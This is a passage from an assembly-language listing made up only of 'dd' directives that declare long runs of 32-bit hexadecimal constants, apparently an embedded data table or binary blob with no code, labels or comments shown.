0E6FE2CC5h, 0B98710D8h dd 35B53075h, 0F7015A0Ah, 499FC2FAh, 1BADA812h, 5EFC855Ah dd 0BD0B729Dh, 0CDFD4C09h, 41AB2B64h, 893B88E9h, 0F7875922h dd 5025B3CEh, 779F6A9Dh, 83F6D9D8h, 5B5159C3h, 0B1FE8D59h dd 3908AC60h, 0E8F20202h, 0A6E380C2h, 91435E68h, 0BD08208Eh dd 0E970D5D4h, 0F2DB6E5h, 0C5A0FD87h, 68610894h, 0E1EA10BFh dd 79283073h, 1B30FC0Ch, 87A62B4Bh, 7194FB4Ah, 853E0BEh dd 0B37355Fh, 3B60110Dh, 0B6D50427h, 0BCD1299Eh, 57C8B2DEh dd 0B1EB7576h, 2965CB07h, 0DE81A73Bh, 3DBACB3Fh, 0C97D6842h dd 8114FD5Ch, 942BCA2Fh, 594E2529h, 9DC66098h, 0F4B84812h dd 0E9AEA4BEh, 0F1513C30h, 0E96C98EBh, 167C56ADh, 8AFE3669h dd 0B03A849Ah, 0DA3FD2A1h, 678A4BDFh, 947A85Fh, 0F0392BCEh dd 7EF21874h, 0BCEB6A5Bh, 1894AA32h, 0BAF87FEAh, 68A90CC1h dd 940071B0h, 1524516Eh, 0D90CE301h, 0CF5A93Dh, 2C2A616Ah dd 730242B4h, 51E94C8Ch, 8392DC23h, 5B4912A6h, 253CDDD9h dd 9BD480FFh, 4F6E3521h, 0F04E4A41h, 839D4AC7h, 90D33053h dd 5CC280DAh, 17263F4Fh, 0A247429Bh, 0ABF3E10Bh, 21178E7Ch dd 0E638ABD3h, 8CD84EABh, 71BD554Ah, 6CBFD87Dh, 63E16704h dd 268BDFF7h, 4297B800h, 0D0F71A62h, 0C19657B0h, 0CABB5E12h dd 7BB818F6h, 0EEDEF61Eh, 0AF485F65h, 7E3AB521h, 3CA8105h dd 5F51CC81h, 2A781F3Fh, 0DF9DA95Ch, 0E9197D9Eh, 0E89B6D3Dh dd 0EC2DE371h, 0D308EF92h, 0DBF709EAh, 6E40CED6h, 0A9FC20A0h dd 842EDAA9h, 0A469AEBFh, 7613D539h, 4DEFD11Ch, 6AD6A91h dd 7DCD0186h, 0A40E912h, 844F27BFh, 2802F112h, 0AEF33D5Eh dd 1EB18B39h, 5D241B60h, 30C87830h, 0D2B95668h, 6709F281h dd 5F640153h, 0F495CE5Ah, 9A03FBA3h, 46601E2Ch, 57545EE9h dd 4B4BED7Ch, 0C4A59544h, 0A2BA5206h, 81256D00h, 334D68E2h dd 0E94A3F5Bh, 0F637D0CFh, 925415Dh, 22450E34h, 4C0CB368h dd 8C6CBF12h, 0F5271F94h, 1184DC34h, 6A9DC1E6h, 0FF58F5C6h dd 69B85E60h, 0A0362944h, 81CC49EDh, 83F02E5Ah, 0ACB66FEh dd 25C0606h, 0C1D010FAh, 32422E75h, 4C85A068h, 0EFD7CCC7h dd 74C2BB22h, 0CFE2DBAh, 0AAD745Bh, 5D986853h, 0FEE98A76h dd 0B85081EDh, 42D261D4h, 1EF83298h, 2A6F680Bh, 0C15D06BDh dd 14290A0h, 1A1049F4h, 8D8E9FE9h, 0A31F0A5h, 5D422C3Bh dd 50FD50BFh, 0BAC35AAh, 2133D523h, 1C26395Dh, 262648EFh dd 0A15AC038h, 640D7B0h, 4C4B739Dh, 623CEAB4h, 15AEA767h dd 0DD49E359h, 4EBE31DBh, 0C035D70Fh, 2D6DB921h, 0FC2E1633h dd 2414FE68h, 28F40411h, 0EA820B6Eh, 609EC0EAh, 9F33E868h dd 0EE28E397h, 0CF27774Ah, 495D6982h, 92306852h, 2C484F98h dd 429DAA93h, 0E8E55FCBh, 7DC98C89h, 6806BC65h, 2F4121FBh dd 25333157h, 285085D2h, 0F5BC5B4Ah, 52830993h, 97E73055h dd 3ED71388h, 8386FD31h, 2D662368h, 0D570304Dh, 0F03E5EBFh dd 0BB908058h, 8F4911E4h, 30DF1011h, 8CF9291Fh, 0BA0E4F92h dd 0E401E70Fh, 9FB1440Bh, 148F5A2h, 842D1300h, 71386801h dd 50BF5C91h, 909AC1E7h, 0F605DEB0h, 0D542825h, 0CE20F0ABh dd 0EED15916h, 0A72D5EFCh, 0DDD53955h, 6F3C17F5h, 0D43DB64Eh dd 4EB259BAh, 0C9FFEE9h, 0E63FE870h, 0CED5CC1h, 27601E4Eh dd 0A84C1761h, 2002AB78h, 0C84B217Ah, 12A0EF4Bh, 0AA660874h dd 0ACFAEB74h, 64521CD8h, 0CDE57D27h, 88867927h, 622CB86Ah dd 4B4C6803h, 7098DA1Bh, 1F74BFADh, 7F47775Ah, 0F411FA0Bh dd 8A9762EEh, 77ED9A77h, 908C276h, 2FF35045h, 69EA87C0h dd 0B86DD179h, 47FC2F7Eh, 9FED1457h, 0DF0C9Ah, 83ED81FCh dd 10513C0Ah, 385CE9ADh, 1FE92CDCh, 89AC9D05h, 0B3712377h dd 5D64D28Bh, 2282A1BAh, 34551246h, 0A4682755h, 0E8A067A5h dd 0D8FB4B54h, 8D4E6FB5h, 98D5EAFh, 0D7A9A137h, 7E484980h dd 0BDFD23EEh, 5F3257FCh, 0C040DCA0h, 35B5BE0Ch, 0E4F42C52h dd 5D25D29Eh, 504A4E38h, 51756800h, 0E9584B84h, 0F875D65Bh dd 0C2F94292h, 516DD468h, 0B8F5E9AAh, 0B20CE902h, 2D56BFE1h dd 2F685978h, 175923DDh, 3765556Bh, 5887D1ADh, 49545B68h dd 55B204B8h, 0FC97B026h, 0A4AFAF12h, 0F3B55E76h, 0FF2518h dd 1639BA1Dh, 0DF0A5CA9h, 889D7258h, 0F6AD6D81h, 0FD5E25CCh dd 72E1D844h, 0C46CB26Bh, 99EE6EF1h, 0FDDACAB2h, 7D28849Ah dd 0DA0193EFh, 0E9D1295Bh, 0EF812523h, 1E05DBF3h, 112C846Ch dd 1EFC044Dh, 7D31167Eh, 2A6D8641h, 0AC83510Bh, 169B543Fh dd 9975044Fh, 5A920379h, 1A28D825h, 9D350713h, 5032B351h dd 6D6124E5h, 0F0B6694h, 56C3AB76h, 0A15812FAh, 50A8D3B6h dd 284E0BB0h, 9CCDEEB1h, 0D275076Dh, 11BF0410h, 3680270h dd 0B8A7D343h, 73902E20h, 3B0E843Dh, 925F3E15h, 0A6AF7239h dd 1A845FFDh, 0E15EBCEBh, 32AF2DDAh, 0DF8CA956h, 9D641083h dd 3C0DC961h, 742D27E0h, 0FDCEBAF1h, 0D80978EFh, 0C6AB05E9h dd 0D33F204Fh, 0F7814F1Ah, 7DEF89D0h, 2BA6228h, 60558A2h dd 40B2625Fh, 2F141967h, 18E2A9E9h, 45AF38DBh, 99F2C79h dd 7930774Bh, 7255CE3h, 4BDEF961h, 3BFDF903h, 83BF4798h dd 4B154E24h, 145D990Bh, 23AA80A1h, 6F133E38h, 0A90E302h dd 1C40263Dh, 0E257A8Dh, 95805722h, 50ED5D13h, 9A1E4B60h dd 97FBFD7Fh, 3E78F241h, 835ADD0Bh, 2EE12E2h, 7015EB6Bh dd 8C7E7485h, 0FD167DCBh, 0D2099A4Fh, 8AC65797h, 5FF3A854h dd 4A4E5B9Fh, 7665ADFAh, 8D7CF49Bh, 0CB2B20A1h, 0E95906BDh dd 9D262CCEh, 0B14349C2h, 0ED344E1Fh, 1262A188h, 0BB980143h dd 821D2D22h, 0E356C60Ch, 4FCBF731h, 6A0BF9B0h, 0F1E5D67h dd 40C19DE5h, 442E4D0Ah, 0A4DC2F55h, 6C071346h, 0F031479Dh dd 0AB3709DEh, 462AE951h, 0C088CC2Eh, 1268365Dh, 0ABF32C77h dd 3E2A277Eh, 2142E059h, 6BA15ED8h, 5E3A29DDh, 0A5D23DD7h dd 25DE813h, 6699686Fh, 2D2F5ECCh, 85749B52h, 5E5961AFh dd 8BF17543h, 572B2A52h, 80ACF0Ah, 0C22F56F8h, 1068E5Eh dd 435D7106h, 9D21E9C4h, 0C645B062h, 2694F5A5h, 2AFF565Eh dd 0A2E90D39h, 2B1D76EDh, 696C493Eh, 16B48EF4h, 0D27DB2ABh dd 4B5BBA4h, 132923Eh, 0C16644Ch, 5B8B5FF9h, 5A5C8809h dd 770625BBh, 0D64FEC63h, 0E9906CEAh, 0F41BBC25h, 3A65EFBEh dd 2742E3FCh, 51D72259h, 0D087EBF6h, 3B77C180h, 0E14CC828h dd 437BFC14h, 0AB972E16h, 0D4A4CC67h, 0EDA4D0FAh, 123D2AB1h dd 0E09CAD20h, 1E2DB957h, 920E602Ch, 0BF758085h, 0A93D0DEEh dd 573D1254h, 65A139A8h, 0FEAC7EC3h, 8DA473E3h, 0D6A28824h dd 0E1C00642h, 7960C007h, 0CA889A06h, 0ACB54DE9h, 5D0010Bh dd 9CC1F3CAh, 7D1E6B12h, 2D5BC8E7h, 0DF3C3BEAh, 69BF5781h dd 2B592F63h, 0C6078E3h, 0ADA8A73Fh, 3170DAB0h, 0EF16F595h dd 15C1382Ch, 382AA03Eh, 0AF020D25h, 48D8F712h, 4034375h dd 583EFD68h, 3E89ECD5h dd 66E99C21h, 0CE9548EDh, 75D35828h, 0B65AF875h, 58166C36h dd 0DEB15128h, 0E968F106h, 23CC261h, 0F042C9B9h, 415614h dd 0A0ADB133h, 87426483h, 4BEC5D59h, 0E9810C80h, 0E8121A09h dd 0A9318021h, 0FC28AF5Ah, 38D61319h, 302DC7E3h, 9222E9F9h dd 0A20FBCB2h, 45061D12h, 6CE4FD1Bh, 0BB2D5BF8h, 0FA5F4F0Ch dd 0ECF49007h, 9F2A9045h, 0A52E9082h, 0A4D6E85Ah, 66BC18Ah dd 0B279E5FDh, 2D006170h, 7A72764Ch, 0BE07557Eh, 0D748E22Fh dd 18B838EBh, 5E816741h, 394C82F7h, 77C2B02Ah, 4B1B685Fh dd 38456976h, 6852B05Fh, 653862B3h, 7F09355Eh, 0CDBA9F79h dd 88E24B91h, 7250B45Ch, 447A4A4Fh, 573B504h, 0DCABF529h dd 0F6B5EFBFh, 125428A4h, 46B2BA5h, 9645775h, 51BE0180h dd 60ECF188h, 0B057D7BFh, 0D9593396h, 7D62100Ch, 2C130448h dd 0D70D14CDh, 0ADF08341h, 16F8B055h, 8BC17A2h, 0D51DDBECh dd 0F4BC4F92h, 350E1D04h, 0ECA4C230h, 5CE074F4h, 28228905h dd 273F7AC3h, 0C14842A9h, 0F6828A0Ah, 89760478h, 4A94BC64h dd 59A873F8h, 8E24A45Eh, 89FDA2BBh, 76DB2F89h, 0B21A67FAh dd 86CA59CBh, 8B5CC75Fh, 0DDE2D8E9h, 30F140FFh, 25D70261h dd 4B5DEB89h, 0E9C7E857h, 0B2494A1Eh, 2B5E89BDh, 0FAF7568Bh dd 57DAC081h, 10D6DAE4h, 0E108E10Fh, 3DEA68D9h, 0F208352Bh dd 0D79D7FFAh, 6AD75DB2h, 0EF431895h, 6DB199FBh, 26ED7EB8h dd 0D8BA09D2h, 0A1899FD9h, 627F5E44h, 0D6545CAAh, 2F8AC63h dd 0D604C7E5h, 7A58BDFEh, 8E090592h, 0E2793309h, 5494F51Bh dd 45685C0Bh, 20F24675h, 729DC163h, 0AD6AF30Eh, 20BAD03Eh dd 4DA9043h, 0C40F9CC3h, 0D8B1AB10h, 8DE90800h, 8ACEA554h dd 0CE0B78EEh, 6992F2C2h, 0ED80D1E2h, 8415A088h, 1B60109Dh dd 609E270Eh, 7416A0DCh, 0A2FA3BC4h, 20C4943Bh, 0B9D9E9A9h dd 0EE7DC52Eh, 0C1E811F5h, 0B25D956Eh, 5C28AB6Eh, 56E1025Bh dd 11C24CC9h, 0E3AA0F75h, 0E0613F79h, 3F0C5BBEh, 0AD19665Ah dd 6B9B5D89h, 70CBBB62h, 0DA093B08h, 29FB4598h, 6A997042h dd 43297FA7h, 0BBA48905h, 52D07424h, 0EC7FBA52h, 0E91F0C7Dh dd 89F56A23h, 6B4E6C16h, 0E27087BFh, 5ADC356Fh, 0BE495549h dd 1CA7404Ah, 7550CF2Bh, 2D1352B3h, 0B1C1B199h, 3324A0E9h dd 4937945Ch, 0CA09F6D6h, 0B27357EAh, 0B4131F26h, 4D58AEA2h dd 0F615655Ch, 0BB4AA8DEh, 0EF47837Dh, 0FCBA03F8h, 0B4123AE6h dd 0A7EFDB66h, 4A44DD1h, 67554CC4h, 6A45B3C2h, 944D7D75h dd 0E5013CB4h, 2AEA7E8Bh, 0BB97C104h, 23AFA832h, 1020CC2Dh dd 4AB86866h, 11A73127h, 0BA085416h, 0CA97F9A2h, 4AE909D3h dd 643ADEA1h, 5F2CF8BFh, 0EEA43CB9h, 3E17B9A6h, 0DAE391ADh dd 681F4823h, 7304EF2Ah, 25F871B7h, 230B23FCh, 343A5DE6h dd 0E970F67Eh, 0A3275F36h, 0D0EA4A3Dh, 5BE181BFh, 2C76E6E0h dd 5AFCC91Fh, 1E37A94h, 7984F38Eh, 5520CD89h, 745097EAh dd 0E8C1644Bh, 0A23C6068h, 0EE575427h, 0B1E91604h, 5E66A733h dd 68C578BAh, 4CF37BF1h, 37963178h, 4F3D851h, 0A06E52EBh dd 4C0A888Bh, 0B9E92BB4h, 7E8E5F26h, 56FE97Dh, 71F2DAFh dd 876CB202h, 273EE460h, 57C247E9h, 976E4E5Dh, 62256250h dd 993D66C7h, 0D5A03A04h, 0D652684Bh, 0B904D6BCh, 0F0190907h dd 1509B030h, 4E6DB7h, 8257CD51h, 0D4F0954Bh, 7968463Bh dd 0AA174393h, 161D85h, 0ADF433E9h, 21D4828h, 4F590FB6h dd 16497789h, 820938FFh, 55A67BE9h, 0F878C0FCh, 0B1518050h dd 94B47330h, 0E68059CCh, 99E91737h, 0E8E1574Ah, 4188013Eh dd 8ABD5608h, 58E90B89h, 0FC29A024h, 820A84B3h, 3028B2B2h dd 83E57F38h, 9DEBA04h, 1C8357B9h, 340D54DAh, 2258B701h dd 0DAF65695h, 6B80B300h, 811A171Ch, 40D7CEEh, 0EF17DAA6h dd 97030628h, 975CC889h, 631C61D2h, 1AD356Ah, 48278AE2h dd 16F3D834h, 9CB71D2Ch, 7C9CE300h, 25E96D91h, 0FF69EFF0h dd 0E44E2108h, 80EB157Dh, 7C6939ECh, 0BE28114h, 675F3465h dd 7D907209h, 6A0213F2h, 0C8E93A77h, 1A70A034h, 0F84E6FF0h dd 0CD355A4Bh, 0FB31E499h, 50F17CBDh, 4A81F59Eh, 8BE7082h dd 12C06F12h, 946F18D1h, 5F80574Eh, 485554B9h, 0E113A263h dd 847FED44h, 6E198571h, 98AB56CEh, 20223E16h, 95B4980h dd 0AD135B37h, 0BB08417Ah, 8E648696h, 95A2DC3Eh, 10963DCh dd 24B3CCDEh, 8BAA7788h, 0AF713E95h, 4E2E6982h, 8968D54Dh dd 799D621Fh, 14DCE963h, 210157A5h, 3E443158h, 0E982CFF9h dd 1AD50D88h, 0D6064058h, 0F22CA42Bh, 5B84977Dh, 5AE1BABFh dd 5B507D36h, 6223F78h, 0EDC117h, 5E68F521h, 87072D84h dd 0D0F793DDh, 2400C3Dh, 0F223A15h, 0E9D531F5h, 565A3F69h dd 9790652h, 0BD7E03h, 36C0EA36h, 116A48D7h, 447E604h dd 0EC1C8441h, 226BD44Fh, 0FCEA0FE3h, 0B3370801h, 354910FDh dd 15A3C840h, 0D7758852h, 1608EB28h, 0AD68A7E9h, 90831045h dd 4FE5EC4Bh, 788187A8h, 87433140h, 7448EF0Ch, 25968269h dd 54680144h, 0A2A62B6Fh, 0E9A66093h, 0F2B26F10h, 9C983183h dd 0F06003CDh, 0F9685EA0h, 0D02FC575h, 427A8D7Dh, 3005A173h dd 0B0DC191h, 3485F23h, 5E92DC25h, 0CFE7DE77h, 6557D00Bh dd 3F386897h, 0D69D5FA0h, 82522788h, 37ED5D4Bh, 196EB805h dd 7E27A669h, 0A34BE478h, 0AEB912ABh, 3B0D2D3Dh, 327AF090h dd 0E1411555h, 456A26E4h, 0B45B50F4h, 6617C55Ah, 62AB0B3Eh dd 0B961C20Ah, 6AEC04F3h, 2C222F78h, 0E7F0F0D2h, 2352548h dd 362361C2h, 0DC22404Eh, 18F4251Dh, 8A0EBF6h, 1C6E5058h dd 792DE3E9h, 0EE0AE451h, 0BE5B0840h, 51575305h, 8C3F91D5h dd 414AE9C4h, 0EABB0400h, 9572AC5Ch, 16B5D770h, 18B25E4h dd 0C099D299h, 9DFA76D7h, 0D4255h, 0C06C1585h, 2520A498h dd 4594A65h, 274A197h, 0FD02F168h, 1BE967B8h, 0BAF1859Dh dd 299849FEh, 589B107Fh, 145B7C4h, 616BF7B1h, 9E4EA93Bh dd 79AB42CBh, 53CB8DDAh, 0D0C03F79h, 403A7614h, 7A1051Bh dd 1FAC4B59h, 8AA97D68h, 48D2E99Ch, 950FA27h, 4C014FE5h dd 8410DC2h, 5B0B302h, 0F004EF59h, 20143C13h, 33A8610h dd 0DA07CDBEh, 1906D132h, 60EF2901h, 169FFEC4h, 9A88BE48h dd 0D1DD4338h, 4FE44F8Ah, 10BCA330h, 0D3DC2B29h, 60F71DE7h dd 60403990h, 55840BBBh, 68DD39EBh, 1297ABD2h, 0F210A2Ah dd 0E1404994h, 6982B36h, 3270F1ECh, 0C8B61862h, 0DA32F559h dd 0A728F9F7h, 87ED08F7h, 49E10692h, 0CADE982Ch, 0BC5C462Eh dd 0B4959313h, 57F4F36h, 0CFD15B2Eh, 4CDEF503h, 0DEAC7809h dd 2D30C38Ch, 0CDF847BCh, 4D72745Ah, 0B3BE2AD8h, 0EB09052Ch dd 94F1E4E9h, 0ED2784DDh, 71FA1601h, 41A7228Ch, 56C32AFh dd 35344392h, 0C65C781h, 0C597507Fh, 0E02BD232h, 0C7091D62h dd 0C2C4517Fh, 305F2023h, 95CD47BEh, 7242E57Ch, 28208025h dd 91426F68h, 40519E3Eh, 0D9431EDh, 486273E9h, 0FF5BD87Bh dd 0A140E884h, 0BAF37B91h, 40C6749Ah, 0BFB65390h, 2058527Ah dd 5A3B53D7h, 9769755h, 23D5DCD1h, 8162BC2Ah, 65B94B79h dd 31F83461h, 0C1381648h, 0CFCF0FE7h, 6EC219E0h, 89B514E9h dd 584646E4h, 9C10655Ch, 0D191024Eh, 0E1E0C1E8h, 453BD23Bh dd 9849B92Dh, 212AAD7h, 0C0BA1D3Bh, 0B9C1F2A5h, 0FED07C2Fh dd 0C3E905EEh, 0F358076Ch dd 5B7D0908h, 0C085160Dh, 638E6829h, 0A474CABFh, 0C5852143h dd 6BA13E01h, 128B1DC0h, 4DF63BE9h, 0DA2AD625h, 0EDB6D9FDh dd 3C132AD2h, 84E2A7AFh, 0D4EC37E9h, 6279D94Eh, 28A216A6h dd 9AB13056h, 2FE1B52Eh, 99EFB817h, 0D80D7C6Dh, 9F4149FDh dd 4E27CEE5h, 0BE5600A7h, 39308F1h, 5B4B2BE9h, 0C68ACDFDh dd 570987ACh, 7F4B821Ch, 6801D0F9h, 1248F7CAh, 0B4C0177h dd 338E3B12h, 51C953B2h, 2F763D62h, 12905866h, 0E074B338h dd 18D83098h, 0F1EFE94Bh, 0E06E446Ah, 0F759035Fh, 5FF98FD1h dd 4B64F344h, 97ED5DEBh, 15B8ABF4h, 0AFA3BF93h, 3B85A1D0h dd 0B30BB1Eh, 9D161268h, 163D8453h, 34CC0B4Dh, 0E0DC92BCh dd 0F2FCF2D8h, 0E23D5BA4h, 0CF8085CCh, 2D687C98h, 0C3F302C8h dd 2BE1501Eh, 6B0F2FE6h, 0AA776BC5h, 0E9126BCBh, 34DF954h dd 0D90759EBh, 0F0ABD976h, 0E550F822h, 6B6A1353h, 0BE0CBA50h dd 1E271452h, 850A3E5Eh, 0E8F6E9FAh, 0EC0826F8h, 3CA508h dd 0B753AC04h, 0AF4B2C60h, 0EEB664F0h, 58EE2580h, 0B8083F56h dd 0E0BD02C1h, 39C08F7Ah, 7F17DFEDh, 0A8004B34h, 65E3546Eh dd 5AD52F29h, 9F5907DDh, 446B9A3h, 0DA76C10Ch, 0D7FAC06Eh dd 2A500C16h, 3B00F1ECh, 6805096Bh, 0B560D25Fh, 56ACBDE0h dd 2D3CD983h, 55CB8557h, 30021410h, 0C520C37Ah, 0EBDEB51Ch dd 0AF1657DAh, 0DB487825h, 0CC7149BEh, 0C72D5124h, 66F5A56Eh dd 1D0820FEh, 10AD5D5Bh, 20880604h, 4FE9AAC2h, 0B60C1705h dd 0E0E11D0Bh, 3ACA8103h, 4637758h, 0EB1AD60Ch, 0E97CE07Ch dd 3912E24Eh, 22E347AEh, 55862675h, 3198D6E6h, 12D12640h dd 4D8F7E0h, 23A21D2h, 57FB015Eh, 9F5C72DEh, 3434FDF4h dd 641B2DEEh, 2169BDE6h, 0E0CCD570h, 81275891h, 64CA801Ah dd 9787F2CCh, 302010E1h, 2F905B0Ch, 0F0122877h, 77AE148Bh dd 968DB597h, 13DA4FDh, 58DC2457h, 9CB24FBBh, 0D52040C1h dd 0EE362049h, 0B90CD70Ch, 7BCE0E73h, 19E530B3h, 5726941Ah dd 2C4ACFB0h, 490BC212h, 6F2E7CA4h, 121CD83Ch, 0F4BF43B2h dd 0A021B3Fh, 695768F2h, 0A86EEEF8h, 1D15A2Ah, 2D025AA9h dd 0D21E6BDFh, 428DEAD6h, 0D0D8DC86h, 867B1DB4h, 531AE917h dd 0DFD45FADh, 0EB289212h, 0B83911CBh, 0B7C61550h, 0E525296Dh dd 61DD8D5Dh, 94A83B10h, 67220B18h, 0A8F2AACEh, 0FB204190h dd 65809918h, 74A7BF5Dh, 88A1E91Bh, 0EE7CF98Fh, 603C51ADh dd 15BD3558h, 0A46EB72Ch, 0DFEB57A1h, 0E91339E4h, 0E767C252h dd 97FF1489h, 3CA1E040h, 0F806AE2Fh, 0C3630958h, 9182F951h dd 0A278EEE9h, 34E255BEh, 8B9D0F31h, 45542766h, 0DF05D442h dd 505B7DB2h, 125BDF0Ch, 112F24D2h, 0D4F30254h, 57C00D6Dh dd 1E27EDCBh, 21B568Ah, 147F240Ah, 82F7EA60h, 0E9701D04h dd 10F4B59h, 0A62FB77h, 20FD66C3h, 5367452Bh, 7E955698h dd 2D5BD040h, 7B10021Bh, 0B536EA0Ch, 1D62127Ch, 0D55C5F6Bh dd 0ADFBF044h, 1AA0B162h, 0D1BB3081h, 7AECB403h, 89548F05h dd 75040DBDh, 0FB67DB17h, 20D9A4C2h, 0DB86856h, 5E755416h dd 0CD40F7F5h, 4E936FF9h, 52CEB89h, 398309CBh, 645555DEh dd 0B85001B6h, 65850DC8h, 0E1FB3031h, 5C0AE694h, 49115728h dd 2C847958h, 9AACAAC5h, 0E1DA312Dh, 89E6CA9Fh, 3DE57D96h dd 9E85BA16h, 674C9EEFh, 51A9C0E0h, 0A18A9275h, 7F877A13h dd 0B3EAC134h, 821C95BBh, 0C8A9FFE9h, 2D429BAFh, 43D83E0Bh dd 47080DD2h, 12363073h, 134FEE77h, 0E1818700h, 76D75870h dd 88F10B2Bh, 0DD3E41h, 7E6DB8D2h, 0CA012416h, 0B008208Dh dd 4DB620B3h, 22526627h, 91E98EDh, 1942528Fh, 0BE54FE2Bh dd 40E40913h, 9C871FFAh, 0CDA1657h, 375AC23Dh, 437B0512h dd 0BF97F4FFh, 8E2567B8h, 19CCD721h, 812B8095h, 300DD0E9h dd 63D679A9h, 267FB454h, 1307E33Fh, 15DD8E29h, 518F72Bh dd 70A23C8Ch, 818EAC0Eh, 0BD5511EDh, 0C092DE70h, 1BA6C518h dd 0CC039D1h, 7FC81814h, 0E1FD4DE9h, 0AC50EA5Ah, 945B7CD6h dd 5CBEB680h, 7BF23E56h, 3E5EF518h, 0C804413Ah, 0B6BFE9CCh dd 84A4B8ABh, 1BA1A268h, 5831D62h, 2BD0539Ch, 1813A92Dh dd 0AB1269Ah, 11CA0707h, 18896625h, 64F7F5E9h, 545F2368h dd 864CEFA6h, 166B7948h, 940CA4F3h, 4D1437BFh, 0E084F376h dd 2DF5A336h, 8924F482h, 78FA4075h, 2E4E6B02h, 88C32906h dd 0E90508F7h, 435620A3h, 560FF801h, 0A02B2F9Dh, 82F31307h dd 32ACE247h, 0BDC05770h, 1B27D0A8h, 2DFE5814h, 99C062E9h dd 64BDB92Ch, 0C564F55Dh, 0CEFCB731h, 0D22EAE03h, 0F6F9F1C5h dd 9D785AA5h, 697ADD30h, 2C69F2CAh, 27BB7C5Ch, 0B9D41362h dd 27B6F25Ah, 1A5D8A21h, 30F3489Bh, 9C6662D1h, 79745410h dd 1F48CC88h, 9ED901BDh, 0F1F50162h, 7267CB4h, 5053F42Ch dd 4C08C78Ah, 23FF2727h, 0A09FFCFEh, 7B22D80h, 12F5970h dd 2D07EAD8h, 0AAA8AF7Dh, 0D998CD1Bh, 0A6386510h, 4B70F0EDh dd 0D95DE346h, 33075AD6h, 0FF848F53h, 2CD611A6h, 3531E91Dh dd 17AA4D29h, 685B3203h, 0A7DB1845h, 0AAAA35ABh, 8E0AA253h dd 0A59DE61Fh, 0F1C301D2h, 0C73848FEh, 56518231h, 33FB2E59h dd 84CDCB35h, 0E68AC4Bh, 77FA0D13h, 0B062410h, 0FA4BF7E9h dd 93F4B5AFh, 0C247C84h, 4B2CE9EAh, 7C302FBBh, 0F9C4D12Ah dd 0F12EC277h, 0E56FFACFh, 0AA8D5119h, 9A0FEBE0h, 555D0E35h dd 2C96038Fh, 0DAA15858h, 0DC1D3F9Dh, 4A39FFE5h, 3357D66Dh dd 60D8D107h, 55FB227Bh, 95BE44F5h, 41837E7Eh, 0F2528C45h dd 120D8EDh, 0EEC022B6h, 0F1D6F603h, 48862C86h, 0D0FA4EA9h dd 3D261AFAh, 39856850h, 0A6B09279h, 3DCD8939h, 3F9617EAh dd 2030E4A5h, 7B620FC5h, 53C40359h, 0D2E6ACEBh, 2568C6B0h dd 597138F0h, 991EFA4Ch, 6B9A2076h, 94FFE4DFh, 2DFE9DE8h dd 0E82E4951h, 0C0568921h, 133690h, 0F7405877h, 4CF925D0h dd 2D482B01h, 0CE8BE778h, 0BD39007Eh, 399C6184h, 0ECB0E916h dd 3EF9A052h, 6076D04Fh, 575A9A68h, 0C40F1E7h, 2CBEA15Dh dd 0F2642D7Fh, 44FD4762h, 394B27C2h, 97FFDE3Ah, 95792DC0h dd 0C502E941h, 87164023h, 84BEF8D7h, 0F7AE34C2h, 574A7C5Fh dd 5452C981h, 136E6121h, 0E25007F5h, 61BFE2C7h, 622CC8C0h dd 5451182Fh, 0C3300359h, 1A4E02AEh, 442916BEh, 0AA5BCAE3h dd 0BB8562BDh, 70C786B7h, 7DDB612Dh, 80C9EF16h, 7539C27Dh dd 5F0EB3F3h, 8153A063h, 0E2729DCFh, 7EA9877h, 8BE301E7h dd 13A7EA47h, 0BB5D573Dh, 0C4F92A56h, 0EA01D258h, 31C4F264h dd 0E5222BC5h, 0ECA5F242h, 2B65031Bh, 56F1011Ch, 3BE5FAF1h dd 0F42003D1h, 85CAD37Ah, 7B21A7BDh, 0C41E582Eh, 1D13B741h dd 4D22013Fh, 3FD5E2ECh, 202EBE9h, 29331904h, 5E130828h dd 4BAC8BBFh, 684E20BAh, 4C9731D2h, 2E73BDCDh, 4EE9F59Ch dd 669D8E8Bh, 1F3203D7h, 0EB016E87h, 2FBBDC49h, 8132F45Fh dd 972834C7h, 920C8262h, 5D3AEA10h, 883D1F8h, 30140C41h dd 0E5F0877h, 5EBA0694h, 0A03FD733h, 0C3A05D58h, 9F0B7DAFh dd 5EE0C179h, 60BC02C8h, 0B577F91h, 1496F7FAh, 163B3702h dd 0EEF8096Ah, 6E001FCh, 0DEEDBC2Dh, 52ED61E5h, 45F98F67h dd 9685780h, 0A187047h, 0E6AEE95Fh, 5B5D8BECh, 57AF097Fh dd 0F6979916h, 0A14C8B47h, 5D8B3B71h, 66E24843h, 95595C5Bh dd 5E1E5520h, 0B70BD721h dd 950E7954h, 9725848Ch, 0D9CDCB55h, 0CD58E70Dh, 0CD7A0022h dd 7DE58146h, 4101CE12h, 7E80B951h, 6301EC6h, 1644178Fh dd 304AEC2Fh, 2B791449h, 0E9400CA6h, 0BE7822CFh, 836C3E1Ch dd 4867163Dh, 0A4ECD729h, 9564BFD9h, 595B8F0h, 0ADC4219Bh dd 459882FFh, 0DA6D2540h, 2D74A813h, 99C52EAh, 30D7AAB6h dd 89578AB2h, 0E4CC6F14h, 0D4D44FAEh, 37A1AEA5h, 6ACA0E02h dd 1EE55739h, 0C635869h, 5DD3662Dh, 5512694Eh, 2D0039E7h dd 75A00806h, 25E9F809h, 70A03523h, 7AAA575Fh, 0DCB8103h dd 0B0448516h, 66DA7F3h, 0E94379C0h, 68E2948Fh, 0DE1EA626h dd 7E6C7E6Fh, 0E078E909h, 51A3B589h, 6828EC0h, 87B65206h dd 0F8292562h, 6600685Dh, 0B8AF4A0Fh, 13238466h, 0D6C10913h dd 68167278h, 1660708Eh, 3532FE3h, 1E88362h, 1150E635h dd 4F133FB7h, 50FB225Eh, 204D0810h, 2177688Fh, 7F4BAFC0h dd 0F3ECC89Dh, 0BF3A9263h, 1F878504h, 0FDC49A0Bh, 5BD95D98h dd 51707695h, 25967C0Ah, 5CCEF559h, 0E98BAB9Ch, 59D6A5E1h dd 7581FE0h, 74F5815Ah, 0C127641Eh, 2E44100Eh, 7F89C422h dd 0F7513923h, 465E8792h, 3DE35214h, 2D3393C3h, 6810BAB8h dd 86B65AD5h, 7CE4044Bh, 8E2BAB99h, 9D06809h, 70206A66h dd 3FB93F5Ah, 318A9D07h, 1879C3CEh, 9900287Ch, 54F2E73h dd 5E5C11DAh, 4158A845h, 6B052007h, 0CEEEB04Bh, 4BA24CB5h dd 6824D8BBh, 8B79B005h, 0D3BC5F43h, 83F787C5h, 0E9A031DFh dd 79AE7066h, 1160F8F8h, 54942D18h, 0D156002Ah, 15E505E0h dd 0B2981E5Fh, 480FC603h, 0E8EE811Fh, 0A14FF74Dh, 93C430B4h 